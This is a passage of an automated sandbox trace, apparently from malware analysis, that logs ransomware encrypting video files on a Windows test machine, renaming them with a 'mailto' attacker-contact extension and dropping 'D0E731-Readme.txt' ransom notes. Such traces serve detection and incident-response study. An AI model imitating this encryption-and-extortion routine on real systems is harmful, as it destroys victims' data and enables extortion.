hFile=0x91c, liDistanceToMove=0xe5fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.354] ReadFile (in: hFile=0x91c, lpBuffer=0x1733fe70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1733fe6c, lpOverlapped=0x0 | out: lpBuffer=0x1733fe70*, lpNumberOfBytesRead=0x1733fe6c*=0x4, lpOverlapped=0x0) returned 1 [0073.354] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee10 [0073.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ed20 [0073.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ed98 [0073.354] NtQuerySystemTime (in: CurrentTime=0x1733fe48 | out: CurrentTime=0x1733fe48*=132121176312534160) returned 0x0 [0073.354] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xa90da1f8 [0073.354] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x7d14c292 [0073.354] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xb8fd5151 [0073.354] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x56983380 [0073.354] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x59dbef5c [0073.354] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x7ef6d630 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x822e7a37 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x6045ddfc [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xf8bde62a [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x4b9aacab [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xcb1f2c7a [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xaedca3c9 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xd36e5db9 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xb63ee647 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x73170df6 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x2f737057 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x1d8cdec1 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x199c6f84 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x1a42a53c [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x448c105c [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x115f818a [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x77dd41a6 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xcd2bd601 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x286e8f56 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xb0d8000e [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x4e4eeb4f [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xf4a6220 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xe0b106ea [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0xb456c887 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x6b847ffe [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x553d8e6 [0073.355] RtlRandom (in: Seed=0x1733fe54 | out: Seed=0x1733fe54) returned 0x4ea3defb [0073.367] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.367] ReadFile (in: hFile=0x91c, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1733fe20, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1733fe20*=0x4096, lpOverlapped=0x0) returned 1 [0073.367] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd550 [0073.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ecd0 [0073.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ecd0) returned 1 [0073.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef50 [0073.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ef50) returned 1 [0073.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0073.368] WriteFile (in: hFile=0x91c, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1733fe20, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1733fe20*=0x4096, lpOverlapped=0x0) returned 1 [0073.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.370] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0xe600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.370] WriteFile (in: hFile=0x91c, lpBuffer=0x341ec08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1733fe58, lpOverlapped=0x0 | out: lpBuffer=0x341ec08*, lpNumberOfBytesWritten=0x1733fe58*=0x20, lpOverlapped=0x0) returned 1 [0073.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0073.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.370] WriteFile (in: hFile=0x91c, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1733fe6c, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x1733fe6c*=0x8, lpOverlapped=0x0) returned 1 [0073.370] WriteFile (in: hFile=0x91c, lpBuffer=0x1733fe84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1733fe6c, lpOverlapped=0x0 | out: lpBuffer=0x1733fe84*, lpNumberOfBytesWritten=0x1733fe6c*=0x4, lpOverlapped=0x0) returned 1 [0073.370] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1733fe6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1733fe6c*=0x4, lpOverlapped=0x0) returned 1 [0073.371] WriteFile (in: hFile=0x91c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1733fe6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1733fe6c*=0x6c, lpOverlapped=0x0) returned 1 [0073.371] WriteFile (in: hFile=0x91c, lpBuffer=0x341ed20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1733fe6c, lpOverlapped=0x0 | out: lpBuffer=0x341ed20*, lpNumberOfBytesWritten=0x1733fe6c*=0x20, lpOverlapped=0x0) returned 1 [0073.371] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1733fe6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1733fe6c*=0x4, lpOverlapped=0x0) returned 1 [0073.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ed20) returned 1 [0073.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee88) returned 1 [0073.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.371] CloseHandle (hObject=0x91c) returned 1 [0073.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf2) returned 0x33fb1b0 [0073.371] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi" [0073.371] wcscat (in: _Dest=0x33fb1b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" [0073.371] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\vpo011neowas8sxm.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\vpo011neowas8sxm.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.372] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0073.372] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi", dwFileAttributes=0x20) returned 0 [0073.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34291c0 [0073.372] wcscpy (in: _Dest=0x34291c0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0073.372] wcscat (in: _Dest=0x34291c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0073.372] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0073.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34291c0) returned 1 [0073.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3988) returned 1 [0073.373] RtlExitUserThread (Status=0x1) Thread: id = 588 os_tid = 0x1298 [0073.374] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\6cg7h xzr912b_8fbw.mkv")) returned 0x20 [0073.374] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv", dwFileAttributes=0x20) returned 1 [0073.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\6cg7h xzr912b_8fbw.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x91c [0073.374] GetFileSizeEx (in: hFile=0x91c, lpFileSize=0x173bfd08 | out: lpFileSize=0x173bfd08*=92292) returned 1 [0073.374] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x16880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.374] ReadFile (in: hFile=0x91c, lpBuffer=0x173bfcdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x173bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x173bfcdc*, lpNumberOfBytesRead=0x173bfcd8*=0x4, lpOverlapped=0x0) returned 1 [0073.375] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef28 [0073.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eed8 [0073.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef00 [0073.375] NtQuerySystemTime (in: CurrentTime=0x173bfcb4 | out: CurrentTime=0x173bfcb4*=132121176312690256) returned 0x0 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x4074ee17 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x34c4bc9b [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xe3274379 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xb9ccd593 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x64e512a5 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x7f91e371 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x447926c4 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x8dc8f974 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x45faebff [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x67581ee6 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xb74c5ba2 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xd43fd1f3 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x17ff9898 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x663b9445 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xd8e88069 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x68790f4a [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x79c8b028 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xb0523c7b [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x1775865f [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xdef310ae [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x79fd066 [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xd81ddacc [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x8c4675de [0073.375] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x4f4e2af8 [0073.376] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xb46e6cb9 [0073.376] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x3fa348d7 [0073.376] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x1e16a583 [0073.376] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x7a75a4aa [0073.376] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0xb26366d2 [0073.376] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x61bae70b [0073.376] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x71ce9f34 [0073.376] RtlRandom (in: Seed=0x173bfcc0 | out: Seed=0x173bfcc0) returned 0x2637d7e2 [0073.388] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.388] ReadFile (in: hFile=0x91c, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x173bfc8c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x173bfc8c*=0x4096, lpOverlapped=0x0) returned 1 [0073.389] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd7d8 [0073.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0073.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef78 [0073.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ef78) returned 1 [0073.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef28 [0073.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef78 [0073.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ef78) returned 1 [0073.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0073.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd7d8) returned 1 [0073.390] WriteFile (in: hFile=0x91c, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x173bfc8c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x173bfc8c*=0x4096, lpOverlapped=0x0) returned 1 [0073.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.390] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x16884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.390] WriteFile (in: hFile=0x91c, lpBuffer=0x341ef28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x173bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x341ef28*, lpNumberOfBytesWritten=0x173bfcc4*=0x20, lpOverlapped=0x0) returned 1 [0073.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ef28) returned 1 [0073.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.390] WriteFile (in: hFile=0x91c, lpBuffer=0x341ef50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x173bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x341ef50*, lpNumberOfBytesWritten=0x173bfcd8*=0x8, lpOverlapped=0x0) returned 1 [0073.390] WriteFile (in: hFile=0x91c, lpBuffer=0x173bfcf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x173bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x173bfcf0*, lpNumberOfBytesWritten=0x173bfcd8*=0x4, lpOverlapped=0x0) returned 1 [0073.390] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x173bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x173bfcd8*=0x4, lpOverlapped=0x0) returned 1 [0073.390] WriteFile (in: hFile=0x91c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x173bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x173bfcd8*=0x6c, lpOverlapped=0x0) returned 1 [0073.391] WriteFile (in: hFile=0x91c, lpBuffer=0x341eed8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x173bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x341eed8*, lpNumberOfBytesWritten=0x173bfcd8*=0x20, lpOverlapped=0x0) returned 1 [0073.391] WriteFile (in: hFile=0x91c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x173bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x173bfcd8*=0x4, lpOverlapped=0x0) returned 1 [0073.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0073.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ef50) returned 1 [0073.391] CloseHandle (hObject=0x91c) returned 1 [0073.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33fb1b0 [0073.391] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv" [0073.391] wcscat (in: _Dest=0x33fb1b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" [0073.391] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\6cg7h xzr912b_8fbw.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\6cg7h xzr912b_8fbw.mkv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.392] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0073.392] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv", dwFileAttributes=0x20) returned 0 [0073.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3434dd8 [0073.392] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0073.392] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" [0073.393] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt")) returned 0xffffffff [0073.393] CreateFileW 